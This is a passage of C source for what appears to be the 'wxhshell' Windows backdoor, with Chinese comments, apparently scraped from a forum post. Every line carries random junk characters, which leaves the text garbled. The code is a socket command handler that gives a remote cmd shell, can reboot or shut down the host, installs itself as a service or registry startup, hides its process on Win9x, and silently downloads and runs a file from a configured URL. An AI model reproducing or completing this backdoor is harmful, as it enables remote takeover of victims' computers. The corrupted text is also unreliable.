  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3 DZ8-N S  
  } ?)/&tk9.n  
  else { ;5aAnvgW  
.+`Z:{:BC&  
    switch(cmd[0]) { <%LN3T  
  9M .cTIO{  
  // 帮助 7{u1ynt   
  case '?': { Eg]tDPN1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3*<~;Z' z4  
    break; X&|y|  
  } $4rMYEn08  
  // 安装 ^36m$J$  
  case 'i': { ! d" i  
    if(Install()) P%kJq^&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (>gHfC>(lq  
    else UE%~SVi.#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >l0D,-O]m  
    break; DzK%$#{<  
    } /AUXO]  
  // 卸载 !" 7ip9a  
  case 'r': { G\o *j |  
    if(Uninstall()) /Es&~Fn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZHOh(  
    else UhF+},gU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /-&a]PJ  
    break; uSn<]OrZo`  
    } =jW= Z$3q  
  // 显示 wxhshell 所在路径 sRf?JyB  
  case 'p': { g{$F;qbkO  
    char svExeFile[MAX_PATH]; RS1c+]rr  
    strcpy(svExeFile,"\n\r"); F\hU V[  
      strcat(svExeFile,ExeFile); Zjkrne{  
        send(wsh,svExeFile,strlen(svExeFile),0); m}>#s3KPA  
    break; 2ID]it\5  
    } -c'~0g]<  
  // 重启 , aQ{  
  case 'b': { *^ -~J/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >ay% !X@3"  
    if(Boot(REBOOT)) K trR+ :  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -H(\[{3{V  
    else { x9B{|+tIoc  
    closesocket(wsh); zz~AoX7V6  
    ExitThread(0); SLMnEtyTS  
    } )]a{cczL"  
    break; $bT<8:g  
    } 2n8spLZYGY  
  // 关机 *#2]`G)  
  case 'd': { lZ` CFZR0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C Nt  
    if(Boot(SHUTDOWN)) kw Iw=8q~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1'>wrGr  
    else { gx)!0n;  
    closesocket(wsh); Y$ To)qo  
    ExitThread(0); )"Vd8*e  
    } h1`u-tc2x  
    break; /kKF|Hg`c  
    } F 7~T=X)1  
  // 获取shell MTxe5ob`$Q  
  case 's': { %Vp'^,&S  
    CmdShell(wsh); ZdjmZx%%  
    closesocket(wsh); "TboIABp:H  
    ExitThread(0); gnPu{-Ec*  
    break; $8"G9r  
  } "<y0D!&  
  // 退出 vw/L|b7G  
  case 'x': { 7 P$>T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `swf~  
    CloseIt(wsh); 4)XZ'~|  
    break; - P$mN6h  
    } ClvqI"Rd  
  // 离开 g~i%*u,Y<  
  case 'q': { j~@Hj$APa`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  A/zZ%h  
    closesocket(wsh); )Kw Gb&l&  
    WSACleanup(); ,xeJf6es  
    exit(1); Y "RjMyQh  
    break; d?uN6JH9  
        } }c$@0x;YQ  
  } W"a%IO%'  
  } O*8 .kqlgt  
quPNwNy  
  // 提示信息 ~T_4M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); muc>4!Q  
}  XAb!hc   
  } ?'dsiA[  
'8$*gIQ8  
  return; 3{wmKo|_X  
} y@'m D*z  
?Thh7#7LM  
// shell模块句柄 ;MH<T6b  
int CmdShell(SOCKET sock) 6!eI=h2P  
{ X?'v FC  
STARTUPINFO si; QX]~|?q  
ZeroMemory(&si,sizeof(si)); Gidh7x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?=22@Q}g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7vRFF@eq}  
PROCESS_INFORMATION ProcessInfo; bCv^za]P6  
char cmdline[]="cmd"; +NH#t} .  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #@*;Y(9Ol  
  return 0; /i${[1  
} 9HjtWQn  
hd@ >p.  
// 自身启动模式 (H\)BS7#R  
int StartFromService(void) ;U02VguC  
{ ^"g # !  
typedef struct Oc|`<^m  
{  t dl Y  
  DWORD ExitStatus; / p_mFA]@  
  DWORD PebBaseAddress; 6WN1D W  
  DWORD AffinityMask; OqaVp/,  
  DWORD BasePriority; o:E_k#Fi  
  ULONG UniqueProcessId; &g{b5x{iD  
  ULONG InheritedFromUniqueProcessId; "o=*f/M  
}   PROCESS_BASIC_INFORMATION; ]Tb ?k+a  
Guc~] B  
PROCNTQSIP NtQueryInformationProcess; &_L FV@/  
0nh;0Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MS Ml  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9vAY|b^  
cVg!"  
  HANDLE             hProcess; BRTM]tRZ  
  PROCESS_BASIC_INFORMATION pbi; X"S-f; b#  
aetK<9L$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v-V#?+#  
  if(NULL == hInst ) return 0; IsaL+elq|  
;Y&<psQeb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %[x oA)0!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AE_7sM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); | JmEI9n2  
9^;)~ G  
  if (!NtQueryInformationProcess) return 0; [>B`"nyNQ  
.=j]PckJO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (5^bU<  
  if(!hProcess) return 0; y?ps+ce93  
J?yNZK$WqN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D[m+= -  
c k$ > yk  
  CloseHandle(hProcess); %Fh*$gzh*5  
^yO+-A2zC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %s+H& vfQs  
if(hProcess==NULL) return 0; CaSoR |  
.pP{;:Avpn  
HMODULE hMod; F__(iXxC  
char procName[255]; FmRCTH  
unsigned long cbNeeded; 1;; is  
X3z$f(lF%)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hdi/k!9[\  
i\2d1Z  
  CloseHandle(hProcess); D{Zjo)&tF'  
m&GxL T6  
if(strstr(procName,"services")) return 1; // 以服务启动 NTnjVU }  
B74L/h  
  return 0; // 注册表启动 $VWeo#b  
} [d( @lbV0  
`zr%+  
// 主模块 !`u  
int StartWxhshell(LPSTR lpCmdLine) jTo-xP{lC  
{ w]4=uL6  
  SOCKET wsl; $ekB+ t:cj  
BOOL val=TRUE; MwoU>+XB  
  int port=0; t0 [H_  
  struct sockaddr_in door; ! xU1[,9  
>~;MQDU5*Y  
  if(wscfg.ws_autoins) Install(); X8F@U ^@  
-`z`K08sT  
port=atoi(lpCmdLine); uF xrv  
*z2G(Uac  
if(port<=0) port=wscfg.ws_port; y*Egt`W  
orGNza"A  
  WSADATA data; K`=O!;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~$#"'Tl4J  
 E*[dc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &kR+7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); '@Zau\xC  
  door.sin_family = AF_INET; `rt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [dm&I#m=  
  door.sin_port = htons(port); OYw~I.Rq  
k7rFbrL Z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U@W3x@  
closesocket(wsl); 8 |>$M  
return 1; %SKp<>;9  
} (=v :@\r  
7H$0NMP  
  if(listen(wsl,2) == INVALID_SOCKET) { l+6y$2QR  
closesocket(wsl); .ZuRH_pI  
return 1; Yp_ L.TTb  
} `Yk~2t"V  
  Wxhshell(wsl); [>5<&[A  
  WSACleanup(); =x9SvIm/tH  
axJuJ`+Y  
return 0; + .Pv:7gh  
k A`Z#yu  
} OE{{,HFa`G  
;x 9_  
// 以NT服务方式启动 \;al@yC=T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l)V!0eW  
{  1 &24:&  
DWORD   status = 0; 4CO"> :  
  DWORD   specificError = 0xfffffff; j]-0m4QF  
]V|rOtxb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qPh @Bl3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 81m3j`b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iFJ2dFA  
  serviceStatus.dwWin32ExitCode     = 0; \!!qzrq  
  serviceStatus.dwServiceSpecificExitCode = 0; Bw;gl^:UG  
  serviceStatus.dwCheckPoint       = 0; DtXQLL*fl(  
  serviceStatus.dwWaitHint       = 0; "Di27Rq  
YX A|1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D{-h2=V  
  if (hServiceStatusHandle==0) return; #[|~m;K(w  
KpHt(>NR  
status = GetLastError(); 8Ld`$_E  
  if (status!=NO_ERROR) r]e1a\)r  
{ gYeKeW3)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #'poDX?  
    serviceStatus.dwCheckPoint       = 0; }ufzlHD  
    serviceStatus.dwWaitHint       = 0; 0c2O'&$au  
    serviceStatus.dwWin32ExitCode     = status; D-{;;<nIr`  
    serviceStatus.dwServiceSpecificExitCode = specificError; QO1pwrX<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0P{^aSxTP  
    return; mf~Joluc J  
  } 0ge"ISK  
<WXGDCj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i-.]onR  
  serviceStatus.dwCheckPoint       = 0; jeKqS  
  serviceStatus.dwWaitHint       = 0; / .wO<l=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nt 9LBea  
} / @v V^!#1  
UL{+mp  
// 处理NT服务事件,比如:启动、停止 7+N0$0w%r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Tu!2lHK;  
{ QN4{xf:}S  
switch(fdwControl) Mh =yIx</  
{ |IcA8[  
case SERVICE_CONTROL_STOP: 1K* `i(  
  serviceStatus.dwWin32ExitCode = 0; %bN+Y'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _i3?;Fds  
  serviceStatus.dwCheckPoint   = 0; dd+hX$,  
  serviceStatus.dwWaitHint     = 0; V 4#bW  
  { >PY Lk{q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }WowgY  
  } WyA`V C  
  return; X-,mNv z  
case SERVICE_CONTROL_PAUSE: ;\'d9C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {6I)6}w!k  
  break; dguN<yS- E  
case SERVICE_CONTROL_CONTINUE: x/S:)z%X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;L*Ku'6Mt  
  break; (]@yDb4  
case SERVICE_CONTROL_INTERROGATE: @u>:(9bp  
  break; }'KHF0   
}; `i `F$;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^)nIf)9}7  
} C8Oh]JF4d  
7DZZdH$Fm  
// 标准应用程序主函数 5!s7`w]8*0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ykS-5E`  
{ v:IpZ;^  
` t6|09e  
// 获取操作系统版本 gcA,u)z}R  
OsIsNt=GetOsVer(); NiSybyR$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z1~`S!(}  
3/{,}F$  
  // 从命令行安装 !hugn6  
  if(strpbrk(lpCmdLine,"iI")) Install(); q/h , jM  
gWIb"l  
  // 下载执行文件 oazY?E]}3  
if(wscfg.ws_downexe) { ;%Zu[G`C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o.g)[$M8cF  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6n?0MMtR  
} " Ng%"Nz  
5F78)q u6N  
if(!OsIsNt) { g QYs,  
// 如果时win9x,隐藏进程并且设置为注册表启动 h]vu BHJ}  
HideProc(); @@3%lr71   
StartWxhshell(lpCmdLine); Tr.u'b(  
} p_B5fm7#6W  
else c6Z"6-}$  
  if(StartFromService()) c$8M}q:X  
  // 以服务方式启动 B%I<6E[D  
  StartServiceCtrlDispatcher(DispatchTable); gl~9|$ivj>  
else =/ +f3  
  // 普通方式启动 v05$"Ig  
  StartWxhshell(lpCmdLine); q\G7T{t$.  
{Rz(0oD\  
return 0; FL[,?RU?2  
}
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只看该作者 1 发表于: 2006-10-10
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